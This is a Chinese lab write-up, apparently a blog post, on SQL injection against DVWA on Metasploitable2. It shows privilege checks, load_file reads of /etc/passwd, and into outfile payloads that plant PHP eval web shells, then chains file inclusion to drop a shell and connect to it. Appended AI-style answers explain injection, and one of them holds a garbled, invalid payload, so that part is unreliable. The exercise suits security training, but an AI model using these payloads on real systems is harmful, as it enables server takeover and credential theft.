SQL注入一句话木马(load_file/out file)

工具

靶机——metasploitable2
环境——DVWA,(low等级下)
菜刀——蚁剑

权限查看

查看mysql是否有对函数load_file(),outfile()函数的限制
(securefilepriv的值是否为NULL)

show global variables like '%secure%';
NULL 表示不可用, 空 表示可用

在这里插入图片描述

' order by 2--   查看字段数
' union all select database(),user()--   查看当前数据库和用户

查看当前用户是否有文件读写的权限:
1' and (select File_priv from mysql.user where user='root' and host='localhost')='Y'-- 
1' and (select File_priv from mysql.user where user='root' and host='%')='Y'-- 
//注: 我在metasploitable2 的数据库里查了 root@ 后面接的的是 % ,
但是从浏览器上查的是localhost 具体原因我也不清楚
如果遇到的话,就两个都试一遍。

不清楚如何手工注入的可以点击下面的链接看看!
SQL注入原理一
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现当前用户拥有对文件读写的权限

load_file / into out file

load_file()
条件:

  • 知道文件的绝对路径
  • 能使用union
  • 对web目录有读权限

如果有过滤单引号,则可以将函数中的路径进行hex或者char编码

1' union select load_file('/etc/passwd'),2-- 
如果有过滤  '  :
1' union select load_file(\'/etc/passwd\'),2-- 
也可以16进制编码,或者转成 ASCII码 
编码解决!16进制(用编码即不用单引号)

在这里插入图片描述
into outfile()
条件:

  • 要有file_priv权限
  • 知道网站的绝对路径
  • 对web有写的权限
  • 没有过滤单引号
写入部分有单引号记得 转译 \
' union select  '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.php'-- 
' union select  '<?php @eval($_POST[\'hack\'])?>',2 into outfile '/tmp/shell.txt'-- 
(明明有读写的权限,但是无法写入 /var/www/ 这个目录下,
 可以写入 /tmp/ ,但是这样就连不上菜刀了,弄了一晚上没弄明白……
然后就是不加路径,直接传,可以传,但不知道传哪去了,这就尴尬)
' union select  '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/shell.php'-- 
' union select '<?php eval($_POST[\'hack\'])?>',2 into outfile 'shell.php'#
' union select  '<?php eval($_POST[\'hack\'])?>',2 into outfile '/var/www/dvwa/vulnerabilities/sqli/shell.php'-- 
(3个都不行)
存在过滤的时候:
如果写入的信息带有单引号 ,可以hex 编码,或者转成 ASCII码 

尝试写入 /tmp 目录下,虽然会报这个警告,但是文件是已经写入进去了!
由于网页只对 /var/www/ 目录下有读取权限,所以无法使用菜刀连接了!
在这里插入图片描述
在这里插入图片描述
但是在DVWA里有文件包含漏洞,所以可以本地包含一个文件

构造木马: /tmp/shell.txt
' union select  '<?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?>',2 into outfile '/tmp/shell.txt'-- 
这串代码的意思是:
将 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 写入 /tmp/shell.txt 
然后通过 文件包含 运行 shell.txt 里的 php 代码,
而 <?fputs(fopen("shell01.php","w"),\'<?php @eval($_POST[caidao]);?>\')?> 这串代码的意思是:
在文件包含那个目录( /var/www/dvwa//vulnerabilities/fi)创建 shell01.php 文件,
并写入 <?php @eval($_POST[caidao]);?> 这串代码

菜刀连接的链接:http://192.168.47.133/dvwa/vulnerabilities/fi/shell01.php

可以参考-文件包含漏洞
第一步: 将代码写入 /tmp/shell.txt
在这里插入图片描述
发现成功写入!
在这里插入图片描述
第二步: 远程包含 /tmp/shell.txt
发现成功执行!
在这里插入图片描述
在这里插入图片描述
第三步: 使用菜刀连接
在这里插入图片描述
在这里插入图片描述
至此手工 SQL注入木马 就结束了!
另外:如果有哪位同学也遇到了上面有权限但无法写入 /var/www的情况,如果知道原因还请告解!谢谢!

  • 4
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 假设有一个表单,用户可以输入自己的用户名和密码,然后提交给后端进行验证。后端的 SQL 查询语句可能是这样的: ``` SELECT * FROM users WHERE username='输入的用户名' AND password='输入的密码'; ``` 如果攻击者在用户名的输入框中输入以下内容: ``` ' or 1=1;# ``` 那么 SQL 查询语句就会变成这样: ``` SELECT * FROM users WHERE username='' or 1=1;#' AND password='输入的密码'; ``` 这个 SQL 查询语句的意思是选择所有用户或者 1=1(因为 1=1 总是成立),然后以 "#" 注释掉后面的语句。这样攻击者就可以绕过用户名和密码的验证,成功登录系统。 如果攻击者在密码的输入框中输入以下内容: ``` '; SELECT LOAD_FILE("/etc/passwd");# ``` 那么 SQL 查询语句就会变成这样: ``` SELECT * FROM users WHERE username='输入的用户名' AND password=''; SELECT LOAD_FILE("/etc/passwd");#'; ``` 这个 SQL 查询语句的意思是选择用户名为输入的用户名,并且密码为空或执行 `LOAD_FILE("/etc/passwd")` 命令(读取系统的 /etc/passwd 文件)。这样攻击者就可以获取系统的敏感信息,如用户名、UID、GID 等等。 因此,使用 `select\.*load_file` 这种 SQL 注入攻击可以破坏应用的安全性,可能导致数据泄露、系统崩溃等问题。开发者需要谨慎处理用户输入,对于所有的输入都要进行验证和过滤,确保输入不会被用于构造恶意的 SQL 语句。 ### 回答2: SQL注入是一种常见的web安全漏洞,攻击者通过注入恶意的SQL代码来窃取、修改、删除或者破坏数据库中的数据。在这个问题中,我们以select\.*load_file这个SQL注入为例来说明。 load_fileMySQL数据库内置函数,用于读取指定文件的内容。当我们在一个web应用程序中构造一个查询时,如果未正确处理用户输入的数据,可能会导致SQL注入漏洞的发生。 假设我们有一个简单的web应用程序,其中包含一个搜索功能,用户可以输入关键词来搜索相关的文件。后台代码可能是这样的: ```python query = "SELECT * FROM files WHERE name = '" + user_input + "'" result = sql_query(query) ``` 在正常使用情况下,用户输入的关键词会被放在查询语句中的一对引号之间。然而,如果用户恶意构造输入字符串,就可以绕过这种限制,执行恶意的SQL代码。 举个例子,假设用户在搜索框中输入`'; SELECT * FROM users -- `。构造出的查询语句如下: ```sql SELECT * FROM files WHERE name = ''; SELECT * FROM users -- ' ``` 这个查询语句的含义是先查询`files`表中`name`列等于空字符串的记录,然后再查询`users`表中的所有记录。 如果这个恶意构造的输入字符串被直接拼接到查询语句中,并且没有进行合适的处理和过滤,那么攻击者实际上就可以读取、修改或者破坏`users`表中的数据,可能导致安全问题。 为了防止SQL注入漏洞,开发者需要使用参数化查询或者预编译的SQL语句,以确保用户输入的数据被正确地转义和过滤,从而防止恶意注入代码的执行。这样可以保护数据库的安全性,避免潜在的攻击。 ### 回答3: select\.*load_file是一种常见的SQL注入技术,用于读取服务器上的文件内容。以下是一个简单的例子来说明它的用法: 假设一个网站存在一个弱点,允许用户通过输入数字获取对应的文章内容。这个网站使用了以下SQL查询来检索文章: ``` SELECT content FROM articles WHERE id = '输入的数字'; ``` 攻击者可以利用这个弱点来执行select\.*load_file注入。假设服务器上有一个`passwords.txt`文件,里面存储了用户的密码。 攻击者可以通过输入以下内容: ``` 1 UNION ALL SELECT select\.*load_file('path/to/passwords.txt'); ``` 通过这个注入,SQL查询将变成: ``` SELECT content FROM articles WHERE id = '1 UNION ALL SELECT select\.*load_file('path/to/passwords.txt')'; ``` 这个查询将执行两个部分的结果合并,第一个部分是选择文章内容,第二个部分是读取服务器上的`passwords.txt`文件。 结果是,攻击者将成功读取`passwords.txt`文件的内容,并且可以进一步滥用这些信息进行其他攻击行为。 这个例子展示了select\.*load_file作为SQL注入的一个应用场景。重要的是要意识到这种漏洞的存在,并采取相应的安全措施来防止攻击的发生,比如正确过滤和验证用户输入。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值